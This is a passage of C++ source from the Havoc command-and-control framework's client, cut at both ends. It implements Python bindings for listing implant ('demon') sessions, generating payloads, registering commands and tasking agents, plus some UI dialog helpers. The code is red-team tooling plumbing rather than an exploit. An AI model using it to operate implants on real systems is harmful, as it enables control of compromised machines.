               \\\n    }\n\nvoid EventClass_dealloc( PPyEvents self )\n{\n    if (self) {\n        Py_TYPE( self )->tp_free( ( PyObject* ) self );\n    }\n}\n\nPyObject* EventClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\n{\n    PPyEvents self = nullptr;\n\n    self = ( PPyEvents ) PyType_Type.tp_alloc( type, 0 );\n\n    return ( PyObject* ) self;\n}\n\nint EventClass_init( PPyEvents self, PyObject *args, PyObject *kwds )\n{\n    if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 )\n        return -1;\n\n    return 0;\n}\n\n// Methods\n\nPyObject* EventClass_OnNewSession( PPyEvents self, PyObject *args )\n{\n    PyObject* Function = NULL;\n\n    if ( ! PyArg_ParseTuple( args, \"O\", &Function ) )\n        return NULL;\n    if ( ! PyCallable_Check( Function ) ) {\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\n        return NULL;\n    }\n\n    HavocX::Teamserver.RegisteredCallbacks.push_back(Function);\n\n    Py_RETURN_NONE;\n}\n\nPyObject* EventClass_OnDemonOutput( PPyEvents self, PyObject *args )\n{\n    Py_RETURN_NONE;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/Havoc.cc",
    "content": "#include <global.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n#include <QFile>\n\n#include <Havoc/PythonApi/PythonApi.h>\n\n#include <Havoc/PythonApi/PyDemonClass.h>\n#include <Havoc/PythonApi/PyAgentClass.hpp>\n#include <Havoc/PythonApi/Event.h>\n\n#include <UserInterface/Widgets/DemonInteracted.h>\n\n#include <QCompleter>\n\nusing namespace HavocNamespace::Util;\n\nnamespace PythonAPI::Havoc\n{\n    PyMethodDef PyMethode_Havoc[] = {\n            { \"LoadScript\",       PythonAPI::Havoc::Core::Load,                            METH_VARARGS,                 \"load python script\"       },\n            { \"GetDemons\",        PythonAPI::Havoc::Core::GetDemons,                       METH_VARARGS,                 \"get list of demon ID's\"   },\n            { \"GetListeners\",     PythonAPI::Havoc::Core::GetListeners,                    METH_VARARGS,                 \"get list of Listeners\"   },\n            { \"GetAgents\",        PythonAPI::Havoc::Core::GetAgents,                       METH_VARARGS,                 \"get list of Agents\"   },\n            { \"GeneratePayload\",  ( PyCFunction ) PythonAPI::Havoc::Core::GeneratePayload, METH_VARARGS | METH_KEYWORDS, \"Generate a payload and get the base64 bytestring\" },\n            { \"RegisterCommand\",  ( PyCFunction ) PythonAPI::Havoc::Core::RegisterCommand, METH_VARARGS | METH_KEYWORDS, \"register a command/alias\" },\n            { \"RegisterModule\",   PythonAPI::Havoc::Core::RegisterModule,                  METH_VARARGS,                 \"register a module\"        },\n            { \"RegisterCallback\", PythonAPI::Havoc::Core::RegisterCallback,                METH_VARARGS,                 \"register a callback\"      },\n\n            { NULL, NULL, 0, NULL }\n    };\n\n    namespace PyModule\n    {\n        struct PyModuleDef havoc = {\n                PyModuleDef_HEAD_INIT,\n                \"havoc\",\n                \"Python module to interact with Havoc\",\n                -1,\n                PyMethode_Havoc\n        };\n    }\n}\n\nPyMODINIT_FUNC PythonAPI::Havoc::PyInit_Havoc( void )\n{\n    PyObject* Module = PyModule_Create2( &PythonAPI::Havoc::PyModule::havoc, PYTHON_API_VERSION );\n\n    if ( PyType_Ready( &PyDemonClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if DemonClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Demon\", (PyObject*) &PyDemonClass_Type );\n\n    if ( PyType_Ready( &PyAgentClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if AgentClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Agent\", (PyObject*) &PyAgentClass_Type );\n\n    if ( PyType_Ready( &PyEventClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if Event class is ready\" );\n    else\n        PyModule_AddObject( Module, \"Event\", (PyObject*) &PyEventClass_Type );\n\n    return Module;\n}\n\nPyObject* PythonAPI::Havoc::Core::Load( PyObject *self, PyObject *args )\n{\n    char* FilePath = NULL;\n    int   Return   = 0;\n\n    if ( ! PyArg_ParseTuple( args, \"s\", &FilePath ) )\n        Py_RETURN_NONE;\n\n    auto script = FileRead( FilePath );\n\n    spdlog::info( \"Load Script: {}\", FilePath );\n\n    Return = PyRun_SimpleStringFlags( script.toStdString().c_str(), NULL );\n\n    if ( Return == -1 ) {\n        spdlog::error( \"Failed to load script\" );\n        Py_RETURN_FALSE;\n    }\n\n    Py_RETURN_TRUE;\n}\n\nPyObject* PythonAPI::Havoc::Core::GetListeners( PyObject *self, PyObject *args )\n{\n    auto      Listeners        = HavocX::Teamserver.Listeners;\n    uint32_t  NumberOfSessions = Listeners.size();\n    PyObject* ListenerObjects  = PyList_New( NumberOfSessions );\n    PyObject* ListenerID       = NULL;\n\n    for ( int i = 0; i < NumberOfSessions; ++i )\n    {\n        ListenerID = Py_BuildValue( \"s\", Listeners[ i ].Name.c_str() );\n        PyList_SetItem( ListenerObjects, i, ListenerID );\n    }\n\n    return ListenerObjects;\n}\n\nPyObject* PythonAPI::Havoc::Core::GetAgents( PyObject *self, PyObject *args )\n{\n    auto      Agents           = HavocX::Teamserver.ServiceAgents;\n    uint32_t  NumberOfSessions = Agents.size();\n    PyObject* AgentsObjects  = PyList_New( NumberOfSessions + 1);\n    PyObject* AgentsID       = NULL;\n\n    AgentsID = Py_BuildValue( \"s\", \"Demon\" );\n    PyList_SetItem( AgentsObjects, 0, AgentsID );\n    for ( int i = 1; i < NumberOfSessions; ++i )\n    {\n        AgentsID = Py_BuildValue( \"s\", Agents[ i ].Name.toStdString().c_str() );\n        PyList_SetItem( AgentsObjects, i, AgentsID );\n    }\n\n    return AgentsObjects;\n}\n\nPyObject* PythonAPI::Havoc::Core::GetDemons( PyObject *self, PyObject *args )\n{\n    auto      DemonSessions    = HavocX::Teamserver.Sessions;\n    uint32_t  NumberOfSessions = DemonSessions.size();\n    PyObject* DemonObjects     = PyList_New( NumberOfSessions );\n    PyObject* DemonID          = NULL;\n\n    for ( int i = 0; i < NumberOfSessions; ++i )\n    {\n        DemonID = Py_BuildValue( \"s\", DemonSessions[ i ].Name.toStdString().c_str() );\n        PyList_SetItem( DemonObjects, i, DemonID );\n    }\n\n    return DemonObjects;\n}\n\nPyObject* PythonAPI::Havoc::Core::GeneratePayload( PyObject *self, PyObject *args, PyObject* kwargs )\n{\n    PyObject*   callbackGate = nullptr;\n    char*       agent = nullptr;\n    char*       listener = nullptr;\n    char*       arch = nullptr;\n    char*       format_string = nullptr;\n    char*       config = nullptr;\n    const char* KeyWords[] = { \"callback\", \"agent\", \"listener\", \"arch\", \"format\", \"config\", NULL };\n\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, \"Osssss\", const_cast<char**>(KeyWords), &callbackGate, &agent, &listener, &arch, &format_string, &config) )\n        Py_RETURN_NONE;\n    if ( !PyCallable_Check(callbackGate) )\n    {\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\n        return NULL;\n    }\n    HavocX::callbackGate = callbackGate;\n\n    auto Package = new Util::Packager::Package;\n\n    auto Head = Util::Packager::Head_t {\n            .Event   = Util::Packager::Gate::Type,\n            .User    = HavocX::Teamserver.User.toStdString(),\n            .Time    = CurrentTime().toStdString(),\n            .OneTime = \"true\",\n    };\n\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Gate::Stageless,\n            .Info = {\n                { \"AgentType\", std::string(agent) },\n                { \"Listener\",  std::string(listener) },\n                { \"Arch\",      std::string(arch) },\n                { \"Format\",    std::string(format_string) },\n                { \"Config\",    std::string(config) },\n            },\n    };\n\n\n    Package->Head = Head;\n    Package->Body = Body;\n\n    HavocX::Connector->SendPackage( Package );\n\n    Py_RETURN_NONE;\n}\n\n// RegisterCommand( PyFunction: func, Module: str, Command: str, Description: str, Behavior: int, Usage: str, Example: str )\nPyObject* PythonAPI::Havoc::Core::RegisterCommand( PyObject *self, PyObject *args, PyObject* kwargs )\n{\n    RegisteredCommand RCommand = { };\n\n    PVOID Function         = nullptr;\n    PCHAR Agent            = nullptr;\n    PCHAR Module           = nullptr;\n    PCHAR Command          = nullptr;\n    PCHAR Description      = nullptr;\n    PCHAR Usage            = nullptr;\n    PCHAR Example          = nullptr;\n    u32   Behavior         = 0;\n    auto  CompleteText     = QString();\n    auto  Path             = HavocX::Teamserver.LoadingScript;\n    const char* KeyWords[] = { \"function\", \"module\", \"command\", \"description\", \"behavior\", \"usage\", \"example\", \"agent\", NULL };\n    const char* format     = \"Osssiss|s\";\n\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwargs, format, const_cast<char**>(KeyWords), &Function, &Module, &Command, &Description, &Behavior, &Usage, &Example, &Agent ) )\n        Py_RETURN_NONE;\n\n    if ( Agent != nullptr )\n        RCommand.Agent = Agent;\n    else\n        RCommand.Agent = \"Demon\"; /* if the 'agent' keyword hasn't been specified then use the demon agent by default */\n\n    RCommand.Function  = Function;\n    RCommand.Module    = Module;\n    RCommand.Command   = Command;\n    RCommand.Help      = Description;\n    RCommand.Behaviour = Behavior;\n    RCommand.Usage     = Usage;\n    RCommand.Example   = Example;\n    RCommand.Path      = Path.substr( 0, Path.find_last_of( \"\\\\/\" ) );\n\n    if ( QString( RCommand.Module.c_str() ).length() > 0 ) {\n        spdlog::debug( \"Registered command: {} {}\", Module, Command );\n    } else {\n        spdlog::debug( \"Registered command: {}\", Command );\n    }\n\n    // Check if command already exists... if it is already existing then replace it with new one.\n    for ( u32 i = 0; i < HavocX::Teamserver.RegisteredCommands.size(); i++ )\n    {\n        auto c = HavocX::Teamserver.RegisteredCommands[ i ];\n\n        if ( ( c.Command == RCommand.Command ) && ( c.Module == RCommand.Module ) && ( c.Agent == RCommand.Agent ) )\n        {\n            spdlog::debug( \"Command already exists: [Module: {}] [Command: {}]\", RCommand.Module, RCommand.Command );\n            HavocX::Teamserver.RegisteredCommands[ i ] = RCommand;\n\n            Py_RETURN_NONE;\n        }\n    }\n\n    if ( ! RCommand.Module.empty() )\n        CompleteText = QString( RCommand.Module.c_str() ) + \" \" + QString( RCommand.Command.c_str() );\n    else\n        CompleteText = QString( RCommand.Command.c_str() );\n\n    // TODO: further test this. Reload or load new scripts that make use of RegisterCommand\n    auto Sessions = HavocX::Teamserver.Sessions;\n    for ( u32 i = 0; i < Sessions.size(); i++ )\n    {\n        Sessions[ i ].InteractedWidget->AutoCompleteAdd( CompleteText );\n        Sessions[ i ].InteractedWidget->AutoCompleteAdd( \"help \" + CompleteText );\n    }\n\n    HavocX::Teamserver.AddedCommands << CompleteText;\n\n    // Add new command\n    HavocX::Teamserver.RegisteredCommands.push_back( RCommand );\n    Py_XINCREF( RCommand.Function );\n\n    Py_RETURN_NONE;\n}\n\n// RegisterModule( Name: str, Description: str, Behavior: str, Usage: str, Example: str, Options: str )\nPyObject* PythonAPI::Havoc::Core::RegisterModule( PyObject *self, PyObject *args )\n{\n    spdlog::debug( \"PythonAPI::Havoc::Core::RegisterModule\" );\n    RegisteredModule Module = {};\n\n    PCHAR Name         = nullptr;\n    PCHAR Description  = nullptr;\n    PCHAR Behavior     = nullptr;\n    PCHAR Usage        = nullptr;\n    PCHAR Example      = nullptr;\n    PCHAR Options      = nullptr;\n    auto  CompleteText = QString();\n\n    if( ! PyArg_ParseTuple( args, \"ssssss\", &Name, &Description, &Behavior, &Usage, &Example, &Options ) )\n        Py_RETURN_NONE;\n\n    Module.Name         = Name;\n    Module.Description  = Description;\n    Module.Behavior     = Behavior;\n    Module.Usage        = Usage;\n    Module.Example      = Example;\n\n    // Check if module already exists... if it is already existing then replace it with new one.\n    for ( u32 i = 0; i < HavocX::Teamserver.RegisteredModules.size(); i++ )\n    {\n        auto c = HavocX::Teamserver.RegisteredModules[ i ];\n\n        if ( ( c.Name == Module.Name ) && ( c.Agent == Module.Agent ) )\n        {\n            spdlog::debug( \"Module already exists: [Module: {}]\", Module.Name );\n            HavocX::Teamserver.RegisteredModules[ i ] = Module;\n\n            Py_RETURN_NONE;\n        }\n    }\n\n    CompleteText = QString( Module.Name.c_str() );\n\n    // TODO: further test this. Reload or load new scripts that make use of RegisterCommand\n    auto Sessions = HavocX::Teamserver.Sessions;\n    for ( u32 i = 0; i < Sessions.size(); i++ )\n    {\n        Sessions[ i ].InteractedWidget->AutoCompleteAdd( CompleteText );\n        Sessions[ i ].InteractedWidget->AutoCompleteAdd( \"help \" + CompleteText );\n    }\n\n    HavocX::Teamserver.AddedCommands << CompleteText;\n\n    // Add new command\n    HavocX::Teamserver.RegisteredModules.push_back( Module );\n\n    spdlog::debug( \"Registered module: {}\", Module.Name );\n\n    Py_RETURN_NONE;\n}\n\nPyObject* PythonAPI::Havoc::Core::RegisterCallback( PyObject *self, PyObject *args )\n{\n    spdlog::debug( \"PythonAPI::Havoc::Core::RegisterCallback\" );\n\n    PyObject* Callback = nullptr;\n\n    if ( ! PyArg_ParseTuple( args, \"O\", &Callback ) )\n    {\n        spdlog::error( \"Invalid parameters on RegisterCallback\" );\n        return nullptr;\n    }\n\n    if ( ! PyCallable_Check( Callback ) )\n    {\n        spdlog::error( \"The callback is not callable\" );\n        return nullptr;\n    }\n\n    HavocX::Teamserver.RegisteredCallbacks.push_back( Callback );\n    Py_XINCREF( Callback );\n\n    Py_RETURN_NONE;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/HavocUi.cc",
    "content": "#include <Havoc/PythonApi/PythonApi.h>\n#include <UserInterface/HavocUI.hpp>\n\n#include <Havoc/PythonApi/UI/PyWidgetClass.hpp>\n#include <Havoc/PythonApi/UI/PyDialogClass.hpp>\n#include <Havoc/PythonApi/UI/PyLoggerClass.hpp>\n#include <Havoc/PythonApi/UI/PyTreeClass.hpp>\n\n#include <QFile>\n#include <QMessageBox>\n#include <QFileDialog>\n#include <QInputDialog>\n#include <QColorDialog>\n#include <QProgressDialog>\n#include <QTimer>\n#include <QErrorMessage>\n\nnamespace PythonAPI::HavocUI\n{\n    PyMethodDef PyMethode_HavocUI[] = {\n            { \"messagebox\", PythonAPI::HavocUI::Core::MessageBox, METH_VARARGS, \"Python interface for Havoc Messagebox\" },\n            { \"errormessage\", PythonAPI::HavocUI::Core::ErrorMessage, METH_VARARGS, \"Python interface for Havoc Error Message\" },\n            { \"createtab\", PythonAPI::HavocUI::Core::CreateTab, METH_VARARGS, \"Python interface for Havoc Tabs\" },\n            { \"inputdialog\", PythonAPI::HavocUI::Core::InputDialog, METH_VARARGS, \"Python interface for Havoc InputDialog\" },\n            { \"openfiledialog\", PythonAPI::HavocUI::Core::OpenFileDialog, METH_VARARGS, \"Python interface for Havoc InputDialog\" },\n            { \"savefiledialog\", PythonAPI::HavocUI::Core::SaveFileDialog, METH_VARARGS, \"Python interface for Havoc InputDialog\" },\n            { \"questiondialog\", PythonAPI::HavocUI::Core::QuestionDialog, METH_VARARGS, \"Python interface for Havoc InputDialog\" },\n            { \"colordialog\", PythonAPI::HavocUI::Core::ColorDialog, METH_VARARGS, \"Python interface for Havoc ColorDialog\" },\n            { \"progressdialog\", PythonAPI::HavocUI::Core::ProgressDialog, METH_VARARGS, \"Python interface for Havoc ColorDialog\" },\n\n            { NULL, NULL, 0, NULL }\n    };\n\n    namespace PyModule\n    {\n        struct PyModuleDef havocui = {\n                PyModuleDef_HEAD_INIT,\n                \"havocui\",\n                \"Python module for Havoc Interface UI\",\n                -1,\n                PyMethode_HavocUI\n        };\n    }\n}\n\nPyObject* PythonAPI::HavocUI::Core::CreateTab(PyObject *self, PyObject *args)\n{\n    const char *title = nullptr;\n    const char *in_menu = nullptr;\n\n    if ( !HavocX::HavocUserInterface || !HavocX::HavocUserInterface->menubar )\n    {\n        Py_RETURN_NONE;\n    }\n    Py_ssize_t tuple_size = PyTuple_Size(args);\n    title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0));\n    auto *menubar= HavocX::HavocUserInterface->menubar;\n    auto tab = menubar->addMenu(title);\n    if ( !tab )\n    {\n        Py_RETURN_NONE;\n    }\n    for (Py_ssize_t i = 1; i < tuple_size; i+=2) {\n        const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i));\n        PyObject* callable_obj = PyTuple_GetItem(args, i + 1);\n        if ( !PyCallable_Check(callable_obj) )\n        {\n            PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\n            return NULL;\n        }\n        auto tupleCallback = new QAction( HavocX::HavocUserInterface->HavocWindow );\n\n        tupleCallback->setObjectName(QString::fromUtf8(string_obj));\n        tupleCallback->setText(string_obj);\n        tab->addAction(tupleCallback);\n        QMainWindow::connect( tupleCallback, &QAction::triggered, HavocX::HavocUserInterface->HavocWindow, [callable_obj]() {\n            PyObject_CallFunctionObjArgs(callable_obj, nullptr);\n        });\n    }\n    Py_RETURN_NONE;\n}\n\n\nPyObject* PythonAPI::HavocUI::Core::MessageBox(PyObject *self, PyObject *args)\n{\n    char *title = nullptr, *content = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"ss\", &title, &content ) )\n    {\n        Py_RETURN_NONE;\n    }\n\n    QFile messageBoxStyleSheets(\":/stylesheets/MessageBox\");\n    QMessageBox messageBox;\n\n    messageBoxStyleSheets.open(QIODevice::ReadOnly);\n\n    messageBox.setWindowTitle(title);\n    messageBox.setText(content);\n    messageBox.setIcon(QMessageBox::Information);\n    messageBox.setStyleSheet(messageBoxStyleSheets.readAll());\n\n    messageBox.exec();\n\n    Py_RETURN_NONE;\n}\n\nPyObject* PythonAPI::HavocUI::Core::ErrorMessage(PyObject *self, PyObject *args)\n{\n    char *message = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"s\", &message ) )\n    {\n        Py_RETURN_NONE;\n    }\n\n    QErrorMessage* errorMessage = new QErrorMessage(HavocX::HavocUserInterface->HavocWindow);\n    errorMessage->showMessage(message);\n\n    Py_RETURN_NONE;\n}\n\nPyObject* PythonAPI::HavocUI::Core::QuestionDialog(PyObject *self, PyObject *args)\n{\n    char *title = nullptr, *content = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"ss\", &title, &content ) )\n    {\n        Py_RETURN_NONE;\n    }\n\n    QMessageBox::StandardButton result = QMessageBox::question(HavocX::HavocUserInterface->HavocWindow, title, content, QMessageBox::Yes | QMessageBox::No);\n\n    if (result == QMessageBox::Yes) {\n        Py_RETURN_TRUE;\n    } else {\n        Py_RETURN_FALSE;\n    }\n}\n\nPyObject* PythonAPI::HavocUI::Core::InputDialog(PyObject *self, PyObject *args)\n{\n    char *title = nullptr, *content = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"ss\", &title, &content ) )\n    {\n        Py_RETURN_NONE;\n    }\n    QString data = QInputDialog::getText(\n                    HavocX::HavocUserInterface->HavocWindow, title, content);\n    return PyBytes_FromString(data.toStdString().c_str());\n}\n\nPyObject* PythonAPI::HavocUI::Core::OpenFileDialog(PyObject *self, PyObject *args)\n{\n    char *title = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"s\", &title) )\n    {\n        Py_RETURN_NONE;\n    }\n    QString data = QFileDialog::getOpenFileName(\n                    HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath());\n    return PyBytes_FromString(data.toStdString().c_str());\n}\n\nPyObject* PythonAPI::HavocUI::Core::SaveFileDialog(PyObject *self, PyObject *args)\n{\n    char *title = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"s\", &title) )\n    {\n        Py_RETURN_NONE;\n    }\n    QString data = QFileDialog::getSaveFileName(\n                    HavocX::HavocUserInterface->HavocWindow, title, QDir::homePath());\n    return PyBytes_FromString(data.toStdString().c_str());\n}\n\nPyObject* PythonAPI::HavocUI::Core::ColorDialog(PyObject *self, PyObject *args)\n{\n    QColorDialog data = QColorDialog(HavocX::HavocUserInterface->HavocWindow);\n    QColor sel = data.getColor();\n    if (sel.isValid()) {\n        QString colorHex = sel.name();\n        return PyBytes_FromString(colorHex.toStdString().c_str());\n    } else {\n        Py_RETURN_NONE;\n    }\n}\n\nPyObject* PythonAPI::HavocUI::Core::ProgressDialog(PyObject *self, PyObject *args)\n{\n    char *title = nullptr;\n    char *text= nullptr;\n    int max_num = 0;\n    PyObject* callable_obj = nullptr;\n\n    if( !PyArg_ParseTuple( args, \"ssOi\", &title, &text, &callable_obj, &max_num) )\n    {\n        Py_RETURN_NONE;\n    }\n    if ( !PyCallable_Check(callable_obj) )\n    {\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\n        return NULL;\n    }\n    QProgressDialog* dialog = new QProgressDialog(title, text, 0, max_num, HavocX::HavocUserInterface->HavocWindow);\n    dialog->setAutoClose(false);\n    QTimer* timer = new QTimer();\n\n    QMainWindow::connect( timer, &QTimer::timeout, HavocX::HavocUserInterface->HavocWindow, [callable_obj, dialog, timer]() {\n        PyObject *pResult = PyObject_CallFunctionObjArgs(callable_obj, nullptr);\n\n        if (pResult != NULL) {\n            if (PyLong_Check(pResult)) {\n                long resultInt = PyLong_AsLong(pResult);\n                dialog->setValue(resultInt);\n                if (resultInt < 0) {\n                    dialog->close();\n                    timer->stop();\n                }\n            }\n        } else {\n            PyErr_SetString(PyExc_TypeError, \"Function needs to return an int\");\n            dialog->close();\n            timer->stop();\n        }\n    });\n    QPushButton *cancelButton = dialog->findChild<QPushButton *>();\n    QMainWindow::connect( cancelButton, &QPushButton::clicked, HavocX::HavocUserInterface->HavocWindow, [dialog, timer]() {\n        dialog->close();\n        timer->stop();\n    });\n    timer->start(max_num);\n    dialog->exec();\n\n    Py_RETURN_NONE;\n}\n\nPyMODINIT_FUNC PythonAPI::HavocUI::PyInit_HavocUI(void)\n{\n    PyObject* Module = PyModule_Create2( &PythonAPI::HavocUI::PyModule::havocui, PYTHON_API_VERSION );\n\n    if ( PyType_Ready( &PyWidgetClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if WidgetClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Widget\", (PyObject*) &PyWidgetClass_Type );\n\n    if ( PyType_Ready( &PyDialogClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if DialogClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Dialog\", (PyObject*) &PyDialogClass_Type );\n\n    if ( PyType_Ready( &PyLoggerClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if LoggerClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Logger\", (PyObject*) &PyLoggerClass_Type );\n\n    if ( PyType_Ready( &PyTreeClass_Type ) < 0 )\n        spdlog::error( \"Couldn't check if TreeClass is ready\" );\n    else\n        PyModule_AddObject( Module, \"Tree\", (PyObject*) &PyTreeClass_Type );\n\n    return Module;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/PyAgentClass.cc",
    "content": "\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/PyAgentClass.hpp>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <Util/ColorText.h>\n\nPyMemberDef PyAgentClass_members[] = {\n\n        { \"CONSOLE_INFO\",   T_INT, offsetof( PyAgentClass, CONSOLE_INFO ),   0, \"Console message type info\" },\n        { \"CONSOLE_ERROR\",  T_INT, offsetof( PyAgentClass, CONSOLE_ERROR ),  0, \"Console message type error\" },\n        { \"CONSOLE_TASK\",   T_INT, offsetof( PyAgentClass, CONSOLE_TASK ),   0, \"Console message type task\" },\n\n        { NULL },\n};\n\nPyMethodDef PyAgentClass_methods[] = {\n\n        { \"ConsoleWrite\", ( PyCFunction ) AgentClass_ConsoleWrite, METH_VARARGS, \"Prints messages to the demon sessions console\" },\n        { \"Command\",      ( PyCFunction ) AgentClass_Command,      METH_VARARGS, \"Send a command to the agent\" },\n\n        { NULL },\n};\n\nPyTypeObject PyAgentClass_Type = {\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\n\n        \"havoc.Agent\",                              /* tp_name */\n        sizeof( PyAgentClass ),                     /* tp_basicsize */\n        0,                                          /* tp_itemsize */\n        ( destructor ) AgentClass_dealloc,          /* tp_dealloc */\n        0,                                          /* tp_print */\n        0,                                          /* tp_getattr */\n        0,                                          /* tp_setattr */\n        0,                                          /* tp_reserved */\n        0,                                          /* tp_repr */\n        0,                                          /* tp_as_number */\n        0,                                          /* tp_as_sequence */\n        0,                                          /* tp_as_mapping */\n        0,                                          /* tp_hash */\n        0,                                          /* tp_call */\n        0,                                          /* tp_str */\n        0,                                          /* tp_getattro */\n        0,                                          /* tp_setattro */\n        0,                                          /* tp_as_buffer */\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\n        \"Demon Session Object\",                     /* tp_doc */\n        0,                                          /* tp_traverse */\n        0,                                          /* tp_clear */\n        0,                                          /* tp_richcompare */\n        0,                                          /* tp_weaklistoffset */\n        0,                                          /* tp_iter */\n        0,                                          /* tp_iternext */\n        PyAgentClass_methods,                       /* tp_methods */\n        PyAgentClass_members,                       /* tp_members */\n        0,                                          /* tp_getset */\n        0,                                          /* tp_base */\n        0,                                          /* tp_dict */\n        0,                                          /* tp_descr_get */\n        0,                                          /* tp_descr_set */\n        0,                                          /* tp_dictoffset */\n        ( initproc ) AgentClass_init,               /* tp_init */\n        0,                                          /* tp_alloc */\n        AgentClass_new,                             /* tp_new */\n};\n\nvoid AgentClass_dealloc( PPyAgentClass self )\n{\n    Py_XDECREF( self->AgentID );\n\n    Py_TYPE( self )->tp_free( ( PyObject* ) self );\n}\n\nPyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\n{\n    PPyAgentClass self;\n\n    self = ( PPyAgentClass ) PyType_Type.tp_alloc( type, 0 );\n\n    return ( PyObject* ) self;\n}\n\nint AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds )\n{\n    PCHAR AgentID = nullptr;\n\n    if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 )\n        return -1;\n\n    /* TODO: add keyword \"Agent\" to tell it what agent it should check for\n     *       just in case. */\n    if ( ! PyArg_ParseTuple( args, \"s\", &AgentID ) )\n        return -1;\n\n    for ( auto & Agent : HavocX::Teamserver.Sessions )\n    {\n        if ( Agent.Name.compare( AgentID ) == 0 )\n        {\n            AllocMov( self->AgentID, Agent.Name.toStdString().c_str(), Agent.Name.size() );\n\n            self->CONSOLE_INFO  = 1;\n            self->CONSOLE_ERROR = 2;\n            self->CONSOLE_TASK  = 3;\n        }\n    }\n\n    return 0;\n}\n\nPyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args )\n{\n    u32     Type    = 0;\n    char*   Message = NULL;\n\n    if( ! PyArg_ParseTuple( args, \"is\", &Type, &Message ) )\n        Py_RETURN_NONE;\n\n    for ( auto& d : HavocX::Teamserver.Sessions )\n    {\n        if ( d.Name.compare( self->AgentID ) == 0 )\n        {\n            if ( Type == self->CONSOLE_INFO )\n            {\n                d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( \"[+]\" ) + \" \" + QString( Message );\n\n                break;\n            }\n            else if ( Type == self->CONSOLE_ERROR )\n            {\n                d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( \"[!]\" ) + \" \" + QString( Message );\n                break;\n            }\n            else if ( Type == self->CONSOLE_TASK )\n            {\n                auto TaskID = QString( Util::gen_random( 8 ).c_str() );\n\n                d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message;\n\n                return PyUnicode_FromString( TaskID.toStdString().c_str() );\n            }\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n\nPyObject* AgentClass_Command( PPyAgentClass self, PyObject *args )\n{\n    PCHAR TaskID     = NULL;\n    PCHAR Name       = NULL;\n    PCHAR CommandArg = NULL;\n    auto  CommandLen = 0;\n    auto  Command    = QByteArray();\n\n    if ( ! PyArg_ParseTuple( args, \"ssO\", &TaskID, &Name, &CommandArg ) )\n        Py_RETURN_NONE;\n\n    CommandLen = PyBytes_GET_SIZE( CommandArg );\n    CommandArg = PyBytes_AS_STRING( CommandArg );\n    Command    = QByteArray( CommandArg, CommandLen );\n\n    for ( auto& d : HavocX::Teamserver.Sessions )\n    {\n        if ( d.Name.compare( self->AgentID ) == 0 )\n        {\n            /* send command to agent handler */\n            d.InteractedWidget->DemonCommands->Execute.AgentCommand( QMap<string, string>{\n                    { \"TaskID\",      TaskID                           },\n                    { \"CommandLine\", \"\"                               },\n                    { \"DemonID\",     d.Name.toStdString()             },\n                    { \"Command\",     Name                             },\n                    { \"CommandArg\",  Command.toBase64().toStdString() },\n            } );\n\n            break;\n        }\n    }\n\n    Py_RETURN_NONE;\n}\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/PyDemonClass.cc",
    "content": "\n#define PY_SSIZE_T_CLEAN\n#include <Python.h>\n#include <structmember.h>\n\n#include <Havoc/PythonApi/PythonApi.h>\n#include <Havoc/PythonApi/PyDemonClass.h>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <Util/ColorText.h>\n\nPyMemberDef PyDemonClass_members[] = {\n\n        { \"Listener\",       T_STRING, offsetof( PyDemonClass, Listener ),    0, \"Listener name\" },\n        { \"DemonID\",        T_STRING, offsetof( PyDemonClass, DemonID ),     0, \"Listener name\" },\n        { \"ExternalIP\",     T_STRING, offsetof( PyDemonClass, ExternalIP ),  0, \"External IP\" },\n        { \"InternalIP\",     T_STRING, offsetof( PyDemonClass, InternalIP ),  0, \"Internal IP\" },\n        { \"User\",           T_STRING, offsetof( PyDemonClass, User ),        0, \"Username\" },\n        { \"Computer\",       T_STRING, offsetof( PyDemonClass, Computer ),    0, \"Computer\" },\n        { \"Domain\",         T_STRING, offsetof( PyDemonClass, Domain ),      0, \"Domain\" },\n        { \"OS\",             T_STRING, offsetof( 